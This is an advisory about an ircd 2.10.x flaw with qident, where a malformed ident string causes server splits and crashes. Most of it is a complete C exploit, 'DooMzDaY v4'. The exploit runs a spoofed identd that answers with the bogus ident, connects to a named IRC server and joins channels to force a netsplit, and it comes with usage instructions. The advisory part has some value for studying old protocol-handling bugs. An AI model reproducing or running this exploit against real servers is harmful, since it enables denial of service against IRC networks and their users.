COMMAND
ircd
SYSTEMS AFFECTED
ircd2.10.x (qident)
PROBLEM
psychoid found following. There is a bug in ircd 2.10.x used in
ircnet in conjunction with qident. qident does not check
sucessfully for spaces and characters as like *, ! and @. When
using an ident as like "@o ! ! !", o would be treated as host, the
parameters which are left, would be enhanced by the number of
spaces provided by the ident. If this ident is accepted, the
connected client will become a ghost. This ghost is not
successfully transmitted to the ircnetwork, thereful only visible
on the server it connects. That would not be problematic, but
the real problems occur, when the bogus idented client joins a
channel. The join is not being rejected by the network and
transfers the bogus ident with the parameters. Then, a "protocol
error" occurs, the server is forced to split from the rest of the
network. More problematic gets the fact, when the bogus client
gets collided. This can lead to a denial of service crashing the
ircd completely.
Below you will find a simple exploit, which starts an irc client
with a spoofed ident. There should not run in.identd, while the
exploit is used. Also, you have to be root (used for the bind).
And it's written for linux.
/* DooMzDaY v4 - ircd 2.10.x/ircnet - exploit
* for linux - written by psychoid from tcl
*
* general vulnerability found by Hippo
* a fix already is available, but there are
* also incomplete fixes out there.
*
* this splits a server from the network. Simple, isnt it ?
*
* if you really want to run this, there should not run
* an in.identd on your machine. Also, you need to be root.
*
* erm, this is for educational purposes only. Even, if noone gets
* hurt *g*.
*/
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <arpa/inet.h>
#include <setjmp.h>
#include <signal.h>
#include <string.h>
#include <sys/time.h>
jmp_buf jumpback;
void timed_out( int sig ) {
longjmp( jumpback, 0x0 );
}
void fuck_it(int sig) {
longjmp( jumpback, 0x0 );
}
int settimeout(unsigned short sockh, unsigned short timeout) {
fd_set rfds;
struct timeval tv;
FD_ZERO(&rfds);
FD_SET(sockh,&rfds);
tv.tv_sec=timeout;
tv.tv_usec=0;
select(sockh+1,&rfds,NULL,NULL,&tv);
if (!FD_ISSET(sockh,&rfds)) {
return 0;
} else {
return 1;
}
/* returns 0=timeout or error, 1=input there */
}
unsigned long lookup(char *hostname)
{
struct hostent *name;
unsigned long int address;
if ((address = inet_addr(hostname)) != -1)
return address;
if ((name=gethostbyname(hostname)) == NULL)
return -1;
memcpy(&address,name->h_addr,name->h_length);
return address;
}
int writesock(int sock,char *buf)
{
write(sock,buf,strlen(buf));
}
int readsock(int sock,char *buf,int size)
{
int rc;
fd_set rfds;
struct timeval tv;
int cnt;
memset(buf,0x0,size);
cnt=0;
if (settimeout(sock,1)==1) {
do {
rc=read(sock,buf+cnt,1);
if (rc==0) return rc;
if (rc==-1) return rc;
cnt++;
} while (buf[cnt-1] != '\n' && buf[cnt-1] != '\r' && cnt<size);
}
return 0;
}
int sockconnect( unsigned short timeout, unsigned long iP, unsigned short port ) {
int socky;
int wasread;
int currentsock;
struct sockaddr_in address;
struct hostent *athost;
char lasock[0x100];
unsigned long tip;
unsigned short prt;
FILE *sockslist;
FILE *lastsock;
if (( socky = socket( AF_INET, SOCK_STREAM, 0x0 )) == -1 ) {
return socky;
}
address.sin_family = AF_INET;
address.sin_port = htons( port );
address.sin_addr.s_addr = iP;
signal( SIGALRM, timed_out );
alarm(10);
if ( setjmp( jumpback ) == 0x0 ) {
if ( connect( socky, (struct sockaddr*)(&address), sizeof( address ))) {
socky = -1;
}
} else { socky = -1; }
fflush(stdout);
alarm (0);
return socky;
}
void brokenpipe()
{
printf("Broken Pipe\n");
return;
}
int tcpconnect( unsigned long iP,
unsigned short port,
unsigned short timeout ) {
int socky;
struct sockaddr_in address;
struct sigaction sv;
struct hostent *athost;
char thathost[0x100];
char buffer[512];
int tries, length;
socky = -1;
tries = 0;
sigemptyset(&sv.sa_mask);
sv.sa_handler=brokenpipe;
sigaction(SIGPIPE,&sv,NULL);
/* if ((athost = gethostbyname (thathost)) == NULL) {
return -1;
}*/
fflush(stdout);
if ((socky = sockconnect(timeout,iP,port)) == -1) {
fprintf(stdout,"Connection refused.\n");
socky = -1;
return socky;
}
if (socky == -1) printf("Connection refused.\n");
alarm( 0x0 );
return socky;
}
int ircdboost(char *host, int port, char *nick)
{
int sock;
char buf[2048];
char *pt;
printf("Step 2: Connecting to the IRC Server.\n");
sock=tcpconnect(lookup(host),port,10);
if (sock==-1) {
printf("Error: cant connect\n");
exit(0x0);
}
printf("Step 3: Connected.. sending user / join\n");
/* the star is very very important */
writesock(sock,"USER o a a :a\r\n");
snprintf(buf,sizeof(buf),"NICK %s\r\n",nick);
writesock(sock,buf);
snprintf(buf,sizeof(buf),"WHOIS kbnn%d\r\n",lookup(host));
writesock(sock,buf);
/* this joins are needed to broadcast the user to the connected servers */
writesock(sock,"JOIN #sex\r\n"); /* yeah, right */
writesock(sock,"JOIN #showdown\r\n"); /* yeah, right */
writesock(sock,"JOIN #funfactory\r\n"); /* yeah, right */
writesock(sock,"JOIN #usa\r\n"); /* yeah, right */
writesock(sock,"JOIN #flirt.de\r\n"); /* yeah, right */
writesock(sock,"JOIN 0\r\n"); /* yeah, right */
printf("Step 4: Please press control+break to release the split.\n");
while (readsock(sock,buf,sizeof(buf)) >=0)
{
pt=strstr(buf,"PING");
if (pt==buf)
{
writesock(sock,"PONG :PPP\r\n");
}
pt=strstr(buf,"ERROR");
if (pt==buf) break;
printf(buf);
}
close(sock);
}
int
main (int argc, char **argv)
{
int listensocket, insocket, outsocket;
short listenport, destport;
struct hostent *socks_he, *dest_he;
struct sockaddr_in listen_sa, socks_sa;
char buf[200];
int sopts = 1, maxfd;
char c[100];
char *po;
int length;
int cnt;
int rc;
int lport,fport;
fd_set rfds;
lport= 0; fport =0;
printf("\nDooMzDaY v4 - by psychoid\n");
printf("exploits a bug in the ircd ident request of ircd 2.10.x\n");
if (argc != 4)
{
printf ("Usage: %s ircserver port nick\n", argv[0]);
printf ("Example: %s chat.bt.net 6669 killah\n\n", argv[0]);
exit (1);
}
printf("Setting up..\n");
listenport = 113;
listensocket = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);
setsockopt (listensocket, SOL_SOCKET, SO_REUSEADDR, &sopts, sizeof (int));
memset (&listen_sa, 0, sizeof (struct sockaddr_in));
listen_sa.sin_port = htons (listenport);
listen_sa.sin_addr.s_addr = htonl (INADDR_ANY);
socks_sa.sin_port = htons (destport);
if ((bind (listensocket, (struct sockaddr *) &listen_sa, sizeof (struct sockaddr_in))) == -1)
{
perror ("bind");
exit (1);
}
if ((listen (listensocket, 1)) == -1)
{
perror ("listen");
exit (1);
}
rc=fork();
if (rc ==0) {
printf("\nStep 1: Starting identd\n");
sleep(2); /* the demon should really run */
ircdboost(argv[1],atoi(argv[2]),argv[3]);
exit(0x0);
}
gee:
sleep(1);
printf(" Identd started.. listening.\n");
insocket = accept (listensocket, NULL, 0);
if (insocket == -1)
{
perror ("accept");
exit (1);
}
while (1)
{
memset(c,0x0,sizeof(c));
FD_ZERO (&rfds);
FD_SET (insocket, &rfds);
select (insocket+1, &rfds, NULL, NULL, NULL);
if (FD_ISSET (insocket, &rfds))
{
length = recv (insocket, c, 100, 0);
if (length == -1 || length == 0)
break;
sscanf(c," %d , %d", &lport, &fport);
snprintf(buf,sizeof(buf),"%d , %d : USERID : UNIX : @o ! ! ! ! ! ! \r\n",lport,fport);
printf("\nIdent : %s\n",buf);
/* sending it a second time because of the lame 1st patch */
send(insocket,buf,strlen(buf),0);
snprintf(buf,sizeof(buf),": USERID : UNIX : @o ! ! ! ! ! ! \r\n");
printf("\nIdent : %s\n",buf);
send(insocket,buf,strlen(buf),0);
break;
}
}
sleep(1);
close (insocket);
close (listensocket);
wait(0);
exit(0x0);
}
SOLUTION
The opers had been informed quite a time ago, there are only some
servers left which react on that bogus ident.